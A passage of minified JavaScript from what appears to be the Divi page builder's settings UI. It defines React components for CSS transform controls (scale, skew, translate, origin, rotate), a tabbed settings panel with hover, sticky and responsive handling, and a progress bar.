:"ew-resize"})},P("ew"))))),r.a.createElement("div",{className:"et-fb-settings-transform-vertical-range"},this._renderField("scale_y")),r.a.createElement("div",{className:"et-fb-settings-transform-horizontal-range"},this._renderField("scale_x")),r.a.createElement("button",{disabled:Object(y.hasValue)(this.props.readonly),"data-linked_type":"scale",onClick:this._handleLinkedClick,className:"et-fb-settings-transform-linked"},r.a.createElement(_.a,{icon:this.props.scaleLinked?"linked":"unlinked",style:t(this.props.scaleLinked)})));case"skew":var u=this._getOption("skew_x"),c=this._getOption("skew_y"),d="";d+=u?"skewX("+u+")":d;var p={transform:d+=c?" skewY("+c+")":d},f=(parseFloat(u)+180)*this.state.containerDimensions.width/360,h=(parseFloat(c)+180)*this.state.containerDimensions.height/360,m=f-this.state.containerDimensions.width/2,g=h-this.state.containerDimensions.height/2;return r.a.createElement("div",E({className:"et-fb-settings-transform-wrapper"},o),r.a.createElement(L,{onMouseLeave:this._handleMouseUp},r.a.createElement("div",{className:"et-fb-settings-transform-square",style:p}),r.a.createElement("div",{className:"et-fb-settings-transform-square-transparent"},r.a.createElement("div",{className:"et-fb-settings-transform-square-half-skew"},r.a.createElement("div",{className:"et-fb-settings-transform-controller","data-transform_type":"skew_y",onMouseDown:this._handleOnMouseDown,style:{marginLeft:"-20px",marginBottom:"-6px",cursor:"ns-resize",transform:"translateY("+-1*g+"px)"}},P("ns")),r.a.createElement("div",null)),r.a.createElement("div",{className:"et-fb-settings-transform-square-half-skew",style:{justifyContent:"center",alignItems:"flex-end"}},r.a.createElement("div",{className:"et-fb-settings-transform-controller","data-transform_type":"skew_x",onMouseDown:this._handleOnMouseDown,style:{marginBottom:"-20px",cursor:"ew-resize",transform:"translateX("+m+"px)"}},P("ew"))))),r.a.createElement("div",{className:"et-fb-settings-transform-vertical-range"},this._renderField("skew_y")),r.a.createElement("div",{className:"et-fb-settings-transform-horizontal-range"},this._renderField("skew_x")),r.a.createElement("button",{disabled:Object(y.hasValue)(this.props.readonly),"data-linked_type":"skew",onClick:this._handleLinkedClick,className:"et-fb-settings-transform-linked"},r.a.createElement(_.a,{icon:this.props.skewLinked?"linked":"unlinked",style:t(this.props.skewLinked)})));case"translate":var v=parseFloat(this._getOption("translate_x")),b=parseFloat(this._getOption("translate_y")),k="";k+=v?"translateX("+(180*(v+300)/600-90)+"px)":"";var O={transform:k+=b?" translateY("+(180*(b+300)/600-90)+"px)":""};return r.a.createElement("div",E({className:"et-fb-settings-transform-wrapper"},o),r.a.createElement(L,{onMouseLeave:this._handleMouseUp},r.a.createElement("option",{className:"et-fb-settings-transform-square-translate",style:O,"data-transform_type":"translate",onMouseDown:this._handleOnMouseDown})),r.a.createElement("div",{className:"et-fb-settings-transform-vertical-range et-fb-settings-transform-vertical-range-inverted"},this._renderField("translate_y")),r.a.createElement("div",{className:"et-fb-settings-transform-horizontal-range"},this._renderField("translate_x")),r.a.createElement("button",{disabled:Object(y.hasValue)(this.props.readonly),"data-linked_type":"translate",onClick:this._handleLinkedClick,className:"et-fb-settings-transform-linked"},r.a.createElement(_.a,{icon:this.props.translateLinked?"linked":"unlinked",style:t(this.props.translateLinked)})));case"origin":var S=this._getOption("origin_x"),T=this._getOption("origin_y"),M="";"%"===Object(w.c)(S,"%")&&(S=x/100*parseFloat(S)-25+"px"),"%"===Object(w.c)(T,"%")&&(T=x/100*parseFloat(T)-25+"px"),M+=S?"translateX("+S+")":M;var N={transform:M+=T?" translateY("+T+")":M};return r.a.createElement("div",E({className:"et-fb-settings-transform-wrapper"},o),r.a.createElement(L,{hideDotSquare:!0,onMouseLeave:this._handleMouseUp},r.a.createElement("div",{className:"et-fb-settings-transform-square-origin"}),r.a.createElement("div",{className:"et-fb-settings-transform-square-transparent-origin",style:{width:"52.5px",height:"52.5px"}},r.a.createElement("div",{className:"et-fb-settings-transform-square-half",style:{flexDirection:"row",alignItems:"flex-start"}},r.a.createElement("div",{className:"et-fb-settings-transform-origin-controller","data-origin_type":"1",onMouseDown:this._handleOriginClick}),r.a.createElement("div",{className:"et-fb-settings-transform-origin-controller","data-origin_type":"2",onMouseDown:this._handleOriginClick}),r.a.createElement("div",{className:"et-fb-settings-transform-origin-controller","data-origin_type":"3",onMouseDown:this._handleOriginClick})),r.a.createElement("div",{className:"et-fb-settings-transform-square-half",style:{flexDirection:"row",alignItems:"center"}},r.a.createElement("div",{className:"et-fb-settings-transform-origin-controller","data-origin_type":"4",onMouseDown:this._handleOriginClick}),r.a.createElement("div",{className:"et-fb-settings-transform-origin-controller","data-origin_type":"5",onMouseDown:this._handleOriginClick}),r.a.createElement("div",{className:"et-fb-settings-transform-origin-controller","data-origin_type":"6",onMouseDown:this._handleOriginClick})),r.a.createElement("div",{className:"et-fb-settings-transform-square-half",style:{flexDirection:"row",alignItems:"flex-end"}},r.a.createElement("div",{className:"et-fb-settings-transform-origin-controller","data-origin_type":"7",onMouseDown:this._handleOriginClick}),r.a.createElement("div",{className:"et-fb-settings-transform-origin-controller","data-origin_type":"8",onMouseDown:this._handleOriginClick}),r.a.createElement("div",{className:"et-fb-settings-transform-origin-controller","data-origin_type":"9",onMouseDown:this._handleOriginClick}))),r.a.createElement("div",{className:"et-fb-settings-transform-origin-dot",style:N,"data-transform_type":"origin",onMouseDown:this._handleOnMouseDown})),r.a.createElement("div",{className:"et-fb-settings-transform-vertical-range et-fb-settings-transform-vertical-range-inverted"},this._renderField("origin_y")),r.a.createElement("div",{className:"et-fb-settings-transform-horizontal-range"},this._renderField("origin_x")));case"rotate":var D=this._getOption("rotate_x"),A=this._getOption("rotate_y"),F=this._getOption("rotate_z");return r.a.createElement("div",o,r.a.createElement(L,{style:{justifyContent:"space-around",width:"100%"},hideDotSquare:!0,hideRuler:!0,onMouseLeave:this._handleMouseUp},r.a.createElement(j,{type:"rotate_z",angle:F,handleOnMouseDown:this._handleOnMouseDown}),r.a.createElement(j,{type:"rotate_x",angle:D,handleOnMouseDown:this._handleOnMouseDown}),r.a.createElement(j,{type:"rotate_y",angle:A,handleOnMouseDown:this._handleOnMouseDown})),r.a.createElement("div",{className:"et-fb-settings-transform-rotate"},r.a.createElement("div",{className:"et-fb-settings-transform-rotate-range"},this._renderField("rotate_z")),r.a.createElement("div",{className:"et-fb-settings-transform-rotate-range"},this._renderField("rotate_x")),r.a.createElement("div",{className:"et-fb-settings-transform-rotate-range"},this._renderField("rotate_y"))));default:return r.a.createElement("div",null,n+" is not a registered Transform type")}}}]),n}();D.propTypes={name:a.a.string,default:a.a.string,default_unit:a.a.string,transform_type:a.a.string,range_settings:a.a.object,value:a.a.string,uniqueKey:a.a.string,_onChange:a.a.func,onClickLink:a.a.func,scaleLinked:a.a.bool,skewLinked:a.a.bool,translateLinked:a.a.bool,readonly:a.a.bool},D.defaultProps={name:"transform_scale",default:"100%|100%",default_unit:"%",transform_type:"scale",range_settings:{min:-100,max:300,step:1},value:"100%|100%",uniqueKey:"",_onChange:h.a,onClickLink:h.a,scaleLinked:!0,skewLinked:!0,translateLinked:!0,readonly:!1},t.a=D}).call(this,n(24))},function(e,t,n){"use strict";n.d(t,"a",function(){return o}),n.d(t,"b",function(){return r});var o=20,r=5},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(15),l=n.n(s),u=n(46),c=n.n(u),d=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function p(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var f=function(e){function t(){var e,n,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var r=arguments.length,i=Array(r),a=0;a<r;a++)i[a]=arguments[a];return n=o=p(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),o.lastEvent=0,o.handleClick=function(e){var t=e.timeStamp-o.lastEvent;o.lastEvent=e.timeStamp,e.persist(),t<300?o.props.doubleClick(e):o.props.singleClick(e)},p(o,n)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["PureComponent"]),d(t,[{key:"render",value:function(){var e=this.props,t=(e.singleClick,e.doubleClick,e.children),n=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(e,["singleClick","doubleClick","children"]),o=l()(n,{onClick:this.handleClick});return r.a.cloneElement(t,o)}}]),t}();f.displayName="WithDoubleClick("+(f.displayName||f.name||"Component")+")",f.propTypes={singleClick:a.a.func.isRequired,doubleClick:a.a.func,children:a.a.element.isRequired},f.defaultProps={doubleClick:c.a},t.a=f},function(e,t,n){"use strict";(function(e){var o=n(1),r=n(25),i=n(2),a=n.n(i),s=n(12),l=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var u=function(t){function n(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var t=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e));return t.state={isCompleted:!1},t}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,o["Component"]),l(n,[{key:"componentDidUpdate",value:function(e,t){var n=this;!t.isCompleted&&this.state.isCompleted&&setTimeout(function(){s.b.togglePortabilityProgressBar(n.props.name,!1)},1e3),100!==e.progress&&100===this.props.progress&&setTimeout(function(){n.setState({isCompleted:!0})},1e3)}},{key:"render",value:function(){var t=this.props,n=t.progress,o=t.time_remaining;if(t.renderStart>n)return!1;var i={width:Object(r.spring)(n,{stiffness:300,damping:30})},s=a()(this.props,"name",""),l=a()(e.appWindow(),"etCore.portability.text."+s+"ing","");return this.state.isCompleted?React.createElement("span",{className:"et-fb-tooltip-modal--loader et-core-loader et-core-loader-success"}):React.createElement("div",{className:"et-fb-tooltip-modal--progress"},React.createElement("div",{className:"et-fb-tooltip-modal--progress-bar"},React.createElement(r.Motion,{defaultStyle:{width:0,opacity:100},style:i},function(e){return React.createElement("div",{className:"et-fb-tooltip-modal--progress-chart",style:{width:e.width+"%"}},React.createElement("div",{className:"et-fb-tooltip-modal--progress-label"},parseInt(e.width),"%"))})),React.createElement("div",{className:"et-fb-tooltip-modal--time-estimation"},o>0&&l.replace("<span>1</span>",o)))}}]),n}();u.defaultProps={name:"",progress:0,time_remaining:1,renderStart:1},t.a=u}).call(this,n(0))},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(7),a=n.n(i),s=n(15),l=n.n(s),u=n(4),c=n.n(u),d=n(2),p=n.n(d),f=n(47),h=n.n(f),m=n(11),g=n.n(m),v=n(214),b=n.n(v),y=(n(1449),n(22)),_=n.n(y),k=n(10),w=n.n(k),C=n(34),E=n.n(C),O=n(38),S=n.n(O),T=n(29),M=n.n(T),x=n(31),P=n.n(x),j=n(76),L=n.n(j),N=n(818),D=n(8),A=n.n(D),F=n(3),I=n(0),R=n(21),B=n(16),W=n(14),V=n(919),H=n(920),G=n(922),U=n(921),z=n(37),q=n.n(z),K=n(119),$=n.n(K),X=n(147),Y=n.n(X),J=(n(1322),n(40)),Q=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var Z,ee=(Z=1,function(){return Z++}),te=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.state={activeTab:e.activeTab},n.shouldComponentUpdate=q.a.shouldComponentUpdate.bind(n),n._onClickTab=n._onClickTab.bind(n),n._onMouseOverTab=n._onMouseOverTab.bind(n),n._onMouseLeaveTab=n._onMouseLeaveTab.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,r.a.Component),Q(t,[{key:"UNSAFE_componentWillReceiveProps",value:function(e){this.setState({activeTab:e.activeTab})}},{key:"_onClickTab",value:function(e){e.preventDefault();var t=e.currentTarget.getAttribute("data-index");if(!Y()(t)){var n=parseInt(t);this.setState({activeTab:n}),this.props._onTabChange&&this.props._onTabChange(n)}}},{key:"_onMouseOverTab",value:function(e){var t=e.currentTarget.getAttribute("data-index");if(!Y()(t)){var n=parseInt(t),o=this.props.children[n];if(!Y()(o)){var r=o.props;(0,r.handleTabHover)("enter",r.tabName,r.tooltip,r.label)}}}},{key:"_onMouseLeaveTab",value:function(e){var t=e.currentTarget.getAttribute("data-index");if(!Y()(t)){var n=parseInt(t),o=this.props.children[n];if(!Y()(o)){var r=o.props;(0,r.handleTabHover)("leave",r.tabName,r.tooltip,r.label)}}}},{key:"_renderTitles",value:function(){var e=this,t=ee();return r.a.createElement("ul",{className:"et-fb-settings-tab-titles"},E()(this.props.children,function(n,o){return r.a.createElement("li",{key:o},r.a.createElement("button",{className:_()({"et-fb-settings-tab-title":!0,"et-fb-settings-tab-title-active":e.state.activeTab===o,"et-fb-settings-tab-title-modified":n.props.isModified}),onClick:e._onClickTab,"data-tip":n.props.tooltip,"data-index":o,"data-for":"tab-tooltip-"+t+"-"+o,onMouseOver:e._onMouseOverTab,onMouseLeave:e._onMouseLeaveTab},n.props.label,r.a.createElement(J.a,{icon:n.props.icon,color:e.props["iconColor"+_()({Active:e.state.activeTab===o||n.props.isModified})]}),A()(n.props.tooltip)?null:r.a.createElement($.a,{id:"tab-tooltip-"+t+"-"+o})))}))}},{key:"_renderContent",value:function(){return r.a.createElement("div",{className:"et-fb-settings-tab-content"},this.props.children[this.state.activeTab])}},{key:"render",value:function(){return r.a.createElement("div",null,this._renderTitles(),this._renderContent())}}]),t}();te.defaultProps={activeTab:0,iconColor:"#bec9d6",iconColorActive:"#2b87da",_onTabChange:!1},te.propTypes={activeTab:c.a.number,iconColor:c.a.string,iconColorActive:c.a.string,_onTabChange:c.a.oneOfType([c.a.bool,c.a.func]),children:c.a.oneOfType([c.a.array,c.a.element]).isRequired};var ne=te,oe=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var re=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.shouldComponentUpdate=q.a.shouldComponentUpdate.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,r.a.Component),oe(t,[{key:"render",value:function(){return r.a.createElement("div",null,this.props.children)}}]),t}();re.defaultProps={icon:"",isModified:!1,tabName:""},re.propTypes={icon:c.a.string,tabName:c.a.string,isModified:c.a.bool,handleTabHover:c.a.func};var ie=re,ae=n(1279),se=n(162),le=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},ue=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var ce=function(e){return L()(e.split("."))},de=function(e){return I.default.get(p()(e,"default_on_front"),I.default.get(p()(e,"defaultValue"),I.default.get(p()(e,"default"),"")))},pe=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.getTabs=function(){return p()(n,"props.composite_structure",{})},n.getTabSettings=function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],o=p()(n.getTabs(),e+".controls",{});if(!t)return o;var r={};return g()(o,function(e,t){a()(e.main_tab_setting)||"on"!==e.main_tab_setting||(r[t]=e)}),A()(r)?o:r},n.getSettings=function(){return M()(n.getTabs()).reduce(function(e,t){return le({},e,n.getTabSettings(t))},{})},n.getSetting=function(e){return p()(n.getSettings(),e)},n.isTabModified=function(e){return M()(n.getTabSettings(e,!0)).reduce(function(e,t){return e||n.isSettingModified(t)},!1)},n.isModified=function(){return M()(n.getTabs()).reduce(function(e,t){return e||n.isTabModified(t)},!1)},n.handleTabHover=function(e,t,o,r){var i={fieldName:M()(p()(n.props.composite_structure,[t,"controls"],[])).join(" "),fieldLabel:o||r,fieldType:"composite_tab",toggleId:n.props.toggle_slug,toggleGroupId:n.props.tab_slug};if("enter"===e){var a=R.a.getFieldBaseName(n.props.name),s=le({},i,{fieldName:a,fieldLabel:n.props.label,fieldType:n.props.type});n.props.onMouseLeaveGroup(s),setTimeout(function(){n.props.onMouseEnterGroup(i)})}else n.props.onMouseLeaveGroup(i)},n.state={activeTabIndex:0},n._onChange=n._onChange.bind(n),n._onClickReset=n._onClickReset.bind(n),n._onTabChange=n._onTabChange.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,r.a.Component),ue(t,[{key:"getModule",value:function(){return p()(this,"props.module.props.module")}},{key:"getAttrs",value:function(){return p()(this,"props.moduleAttrs",{})}},{key:"getFieldDefault",value:function(e){var t=this.getSetting(e),n=P()(t,"default"),o=P()(t,"default_from")&&!n?de(p()(this.getSettings(),ce(p()(t,"default_from")))):void 0;return I.default.get(o,de(t))}},{key:"getDefault",value:function(e){var t=W.a.getFieldBaseName(e);R.a.isHoverMode()?t=R.a.getFieldBaseName(this.props.name):B.a.isStickyMode()&&(t=B.a.getFieldBaseName(this.props.name));var n=this.getSetting(t),o=this.getFieldDefault(t),r=P()(n,"default"),i=P()(n,"default_from")&&!r?ce(p()(n,"default_from")):void 0,a=i?p()(this.getAttrs(),i):void 0,s=R.a.isHoverMode()&&R.a.isEnabled(t,this.getAttrs()),l=B.a.isStickyMode()&&B.a.isEnabled(t,this.getAttrs()),u=I.default.get(a,I.default.get(o,""));if(W.a.isMobile(this.props,!1)&&!s&&!l){var c=W.a.isResponsiveEnabled(this.getAttrs(),W.a.getFieldBaseName(e)),d=n["default_"+this.props.activeTabMode]||W.a.getDefaultValue(this.getAttrs(),e+"_"+this.props.activeTabMode);return u=p()(this.getAttrs(),i+"_"+this.props.activeTabMode,u),c?d:p()(this.getAttrs(),e,u)}return s?I.default.get(p()(n,"default__hover"),p()(this.getAttrs(),t,u)):l?I.default.get(p()(n,"default__sticky"),p()(this.getAttrs(),t,u)):u}},{key:"getValue",value:function(e){var t=this.getAttrs(),n=R.a.isHoverMode()&&R.a.isEnabled(e,t),o=B.a.isStickyMode()&&B.a.isEnabled(e,t),r=p()(t,e,"");if(W.a.isMobile(this.props,!1)&&!n&&!o){var i=W.a.isResponsiveEnabled(t,e),a=W.a.getAnyValue(t,e+"_"+this.props.activeTabMode);return i?a:""}return n?R.a.getHoverOrNormalOnHover(e,t):o?p()(t,B.a.getStickyField(e),r):r}},{key:"isSettingModified",value:function(e){return""!==I.default.get(this.getValue(e),"")}},{key:"_onChange",value:function(e,t,n,o){var r=I.default.get(t,this.getDefault(e))===this.getDefault(e);this.props._onChange(e,t,n,o,r)}},{key:"_onClickReset",value:function(){var e=this;M()(this.getSettings()).map(function(t){e._onChange(R.a.getHoverFieldOnHover(t,e.getAttrs()),"")}),this.setState({activeTabIndex:0})}},{key:"_onTabChange",value:function(e){this.setState({activeTabIndex:e})}},{key:"_renderTabPreviewArea",value:function(e){return!1}},{key:"_renderOutsidePreviewArea",value:function(){return!1}},{key:"_renderTabs",value:function(){var e=this,t=this.getModule(),n=this.getAttrs(),i=this.props.module._getOptionsFields("advanced"),s=[],u=this.props,c=u.name,d=u.label;return r.a.createElement(ne,{_onTabChange:this._onTabChange,activeTab:this.state.activeTabIndex},E()(this.props.composite_structure,function(u,f){return r.a.createElement(ie,{icon:u.icon,key:f,isModified:e.isTabModified(f),label:u.label,tooltip:u.tooltip,tabName:f,handleTabHover:e.handleTabHover},e._renderTabPreviewArea(u),E()(u.controls,function(u,f){var h=B.a.isStickyMode()&&B.a.isEnabled(f,n)?B.a.getStickyField(f,n):R.a.getHoverFieldOnHover(f,n),m=u;u.name=h;var g={};if(a()(u.type)||!ae.a.getControl(u.type))return!1;if("top_divider_style"===h&&(g.dividerFlip=n.top_divider_flip),"bottom_divider_style"===h&&(g.dividerFlip=n.bottom_divider_flip),!a()(u.depends_on)&&!e.props.module._isVisible(h,i))return s.push(h),!1;if(!(a()(u.show_if)&&a()(u.show_if_not)||Object(N.a)(u,e.props.setting_resolver)))return s.push(h),!1;if(!a()(u.depends_on)&&S()(u.depends_on,intersection(u.depends_on,s)))return!1;if(!e.props.module._isOptionMatchesFilter(u.label,u.description,e.props.label))return!1;var v=R.a.getFieldBaseName(f),b=!a()(u.description)&&""!==u.description,y=p()(u,"context_menu",!0),k=W.a.isResponsiveEnabled(n,v),C=B.a.doesSupport(u)&&B.a.hasStickyOptions(p()(t,"props",{})),E=a()(u.label)||""===u.label?"":r.a.createElement(V.a,{name:h,key:"general-form-label-"+e.props.uniqueKey+"-"+R.a.getFieldBaseName(h),onClickHelp:!!b&&e.props.onClickHelp,activeHelp:e.props.isDescriptionVisible(h),hoveredGroup:e.props.isHoveredGroup(h),hasHoverOptions:R.a.doesSupport(u),hasStickyOptions:C,onClickResponsive:e.props.onClickResponsive,hasResponsiveOptions:u.mobile_options,activeHover:R.a.isEnabled(h,n),activeSticky:B.a.isEnabled(h,n),onClickHover:!!R.a.hasTabs(u)&&e.props.onClickHover,onClickSticky:!!C&&e.props.onClickSticky,onClickReset:e.props.onClickReset,isResetActive:e.props.isResetActive(u),isResponsiveEnabled:k,onToggleRightMenu:!!y&&e.props.onToggleRightMenu},u.label),O=b?r.a.createElement(H.a,{active:e.props.isDescriptionVisible(h),key:"general-form-description-"+e.props.uniqueKey+"-"+h},u.description):"",T=_()("et-fb-settings-options","et-fb-option--"+u.type.replace("_","-")),M="",x=void 0,j={};if(u.mobile_options&&w()(["custom_margin","custom_padding"],u.type)){var L=p()(n,h+"_last_edited",""),D=a()(L)?["off","desktop"]:L.split("|"),A=I.default.hasValue(n[h])?n[h]:"",z=p()(n,h+"_tablet",""),q=p()(n,h+"_phone","");if(z&&!P()(u,"default_phone")&&(u.default_phone=z),z||!P()(u,"default_tablet")||P()(u,"default_phone")||(u.default_phone=u.default_tablet),A&&(P()(u,"default_tablet")||(u.default_tablet=A),P()(u,"default_phone")||(u.default_phone=A)),!a()(u.default_from)){var K=u.default_from.split(".").pop(),$=p()(n,""+K,"");""!==$&&a()(u.default)&&(u.default=$);var X=p()(n,K+"_tablet","");""!==X&&(u.default_tablet=X);var Y=p()(n,K+"_phone","");""!==Y&&(u.default_phone=Y)}x={desktop:A,tablet:z,phone:q,isResponsive:k,activeTab:D[1]},M=F.a.getPreviewMode()}else if(u.mobile_options){var J=e.props.activeTabMode,Q=k,Z=w()(["tablet","phone"],J)&&Q,ee=Z?"_"+J:"";M=F.a.getPreviewMode();var te=p()(n,h,""),ne=p()(n,h+"_tablet","");p()(n,h+"_phone","");""===te&&!a()(u.default_from)&&Z&&(te=p()(n,u.default_from.split(".").pop(),"")),ne&&!P()(u,"default_phone")&&(u.default_phone=ne),ne||!P()(u,"default_tablet")||P()(u,"default_phone")||(u.default_phone=u.default_tablet),te&&(P()(u,"default_tablet")||(u.default_tablet=te),P()(u,"default_phone")||(u.default_phone=te)),x=Z?p()(n,""+u.name+ee,""):te,Z&&(j.default=p()(u,"default"+ee,p()(u,"default","")),j.name=""+u.name+ee,j.baseName=u.name,"yes_no_button"===u.type?j.defaultValue=j.default:"background-field"===u.type?j.name=void 0:"multiple_buttons"===u.type&&u.toggleable&&u.multi_selection&&(j.emptyMobileNone=!0))}else x=p()(n,h,e.getDefault(f));var oe={slug:u.type,type:"field"},re=u.mobile_options&&k||R.a.hasTabs(u)&&R.a.isEnabled(v,n)||C&&B.a.isEnabled(v,n)?r.a.createElement(se.a,null,r.a.createElement(G.a,{module:e.getModule(),moduleAttrs:n,fieldName:v,activeTabMode:e.props.activeTabMode,isGlobalPresetsMode:e.props.isGlobalPresetsMode,isResponsiveEnabled:k,isHoverEnabled:R.a.isEnabled(v,n),isStickyEnabled:C&&B.a.isEnabled(v,n),isItemSelected:e.props.isItemSelected})):"",ie={fieldName:h,fieldLabel:u.label,fieldType:u.type,toggleId:e.props.toggle_slug,toggleGroupId:e.props.tab_slug,fieldContextMenu:y},ue=le({},ie,{fieldName:c,fieldLabel:d});return r.a.createElement(U.a,{name:h,key:"advanced-form-group-"+e.props.uniqueKey+"-"+R.a.getFieldBaseName(h),onMouseEnterGroup:function(){e.props.onMouseEnterGroup(ie)},onMouseLeaveGroup:function(){e.props.onMouseLeaveGroup(ie),e.props.onMouseEnterGroup(ue)},isSelectiveSyncAvailable:e.props.isSelectiveSyncAvailable(),isGlobalOptionSynced:e.props.isGlobalOptionSynced(h),_unsyncGlobalSetting:e.props._unsyncGlobalSetting,className:e.props.productTourClass},E,re,O,r.a.createElement("div",{className:T,key:"et-fb-option-advanced_"+e.props.uniqueKey+"-"+h},r.a.createElement("div",{className:"et-fb-option-container",key:"et-fb-option-container-"+e.props.uniqueKey+"-"+h},Object(o.createElement)(ae.a.getControl(u.type),l()({key:e.props.uniqueKey+"-"+h,value:x,module:e.props.module,name:h,resetValue:!1,_onChange:e._onChange,visible:!0,previewMode:M,animate:e.props.animate,additionalProps:g,isResponsive:k,activeTabMode:e.props.activeTabMode,fieldDefinition:m,matching:oe},u,{default:e.getDefault(f)},j)))))}))}))}},{key:"render",value:function(){var e=this,t=this.props,n=t.name,o=t.label,i=!1;if(g()(this.props.composite_structure,function(t){g()(t.controls,function(t){if(!a()(t.type)&&ae.a.getControl(t.type))return e.props.module._isOptionMatchesFilter(t.label,t.description,e.props.label)?(i=!0,!1):void 0})}),!i)return!1;var s=R.a.getFieldBaseName(n),l=this.props.isHoveredGroup(s),u=!a()(this.props.description)&&""!==this.props.description,c=p()(this.props,"context_menu",!0),d=a()(o)||""===o?"":r.a.createElement(V.a,{name:n,onClickHelp:!!u&&this.props.onClickHelp,key:"advanced-form-label-"+this.props.uniqueKey,isResetActive:this.isModified(),onClickReset:this._onClickReset,onClickHover:this.props.onClickHover,activeHover:this.props.activeHover,hoveredGroup:l,onToggleRightMenu:!!c&&this.props.onToggleRightMenu},o),f=!1===this.props.activeHover?"":r.a.createElement(se.a,null,r.a.createElement(G.a,{module:this.getModule(),moduleAttrs:this.getAttrs(),fieldName:this.props.name,activeTabMode:this.props.activeTabMode,isGlobalPresetsMode:this.props.isGlobalPresetsMode,isHoverEnabled:this.props.activeHover,isItemSelected:this.props.isItemSelected})),h=u?r.a.createElement(H.a,{active:this.props.isDescriptionVisible(n),key:"general-form-description-"+n},this.props.description):"",m=this.props.name,v={fieldName:s,fieldLabel:o,fieldType:this.props.type,toggleId:this.props.toggleId,toggleGroupId:this.props.toggleGroupId,fieldContextMenu:c};return r.a.createElement(U.a,{name:m,key:"advanced-form-group-"+this.props.uniqueKey+"-"+m,onMouseEnterGroup:function(){return e.props.onMouseEnterGroup(v)},onMouseLeaveGroup:function(){return e.props.onMouseLeaveGroup(v)}},d,f,h,this._renderOutsidePreviewArea(),this._renderTabs())}}]),t}(),fe=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var he={attr_suffix:c.a.string},me=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new 